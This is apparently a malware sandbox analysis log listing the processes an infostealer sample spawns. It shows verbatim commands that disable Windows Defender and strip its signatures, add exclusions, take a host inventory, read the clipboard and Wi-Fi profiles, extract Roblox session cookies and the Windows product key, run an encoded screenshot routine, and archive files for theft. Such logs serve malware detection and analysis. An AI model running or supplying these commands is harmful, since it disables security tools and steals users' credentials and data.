Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Users\user\Desktop\X9g8L63QGs.exe "C:\Users\user\Desktop\X9g8L63QGs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

